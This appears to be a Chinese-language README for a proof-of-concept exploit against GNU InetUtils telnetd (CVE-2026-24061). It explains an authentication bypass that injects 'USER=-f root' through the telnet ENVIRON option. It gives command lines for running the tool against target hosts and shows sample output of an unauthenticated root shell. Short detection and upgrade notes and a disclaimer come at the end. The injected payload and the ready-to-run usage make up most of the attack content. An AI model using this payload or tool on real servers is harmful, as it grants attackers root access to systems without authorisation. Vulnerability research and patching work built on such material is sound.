CVE-2026-24061 的 PoC 漏洞利用 - GNU InetUtils telnetd 参数注入认证绕过
GNU InetUtils 版本 1.9.3 至 2.7 在 telnetd 服务器中存在一个远程身份验证绕过漏洞。telnetd 守护进程在将 USER 环境变量作为命令行参数传递给 login(1) 程序之前,未能正确对其进行清理。当 telnet 客户端发送包含命令行标志(如 -f root)的 USER 环境变量时,telnetd 会直接将该未清理的值传递给 login 程序。login 工具将 -f 标志解释为绕过身份验证的指令,从而使攻击者能够在无需提供任何凭据的情况下获得未经授权的 root 访问权限。
完整的 Telnet 协议实现
DO、DONT、WILL 和 WONT 协商。自动载荷注入
ENVIRON 选项载荷,注入 USER=-f root。交互式 Shell
连接管理
详细调试输出
python3 exploit.py <target> -p <port> [options]
| 参数 | 描述 |
|---|---|
target | 目标 IP 地址或主机名 |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
建立连接
协议协商
SGA、ECHO 和 ENVIRON)。载荷投递
WILL ENVIRON,随后是精心构造的子选项载荷。身份验证绕过
-f root 参数注入 login(1),绕过凭据检查。交互式会话
本利用利用了 Telnet 的 ENVIRON 选项(RFC 1572),将命令行参数注入到 USER 环境变量中。
当 telnetd 将该未清理的值传递给 login -f root 时,login 程序将 -f 解释为强制绕过身份验证的标志,从而在无需密码验证的情况下授予 root 访问权限。
该利用脚本实现了:
WILL、WONT、DO、DONT)NOP 命令$ python3 exploit.py 127.0.0.1 -p 2323
[!] 代码作者: K3ysTr0K3R
[*] Telnet 身份验证绕过
[*] 正在连接 127.0.0.1:2323
[+] 连接已建立
[+] 利用载荷已发送(19 字节)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
系统管理员可通过监控以下内容来检测利用尝试:
ENVIRON 选项协商。-f 或其他命令行标志的 USER 环境变量。升级至 GNU InetUtils 版本 2.8,或应用官方安全补丁,该补丁会在将环境变量传递给 login(1) 之前对其进行清理。
本概念验证仅用于安全研究、漏洞验证以及授权测试环境。请仅在你获得明确许可进行安全评估的系统上使用。
| 选项 | 描述 |
|---|
-p, --port | 目标端口(默认: 23) |
-v, --verbose | 启用详细调试输出 |
-t, --timeout | 连接超时时间(秒)(默认: 5) |
-k, --keepalive | 保活间隔(秒)(默认: 30) |
-h, --help | 显示帮助信息 |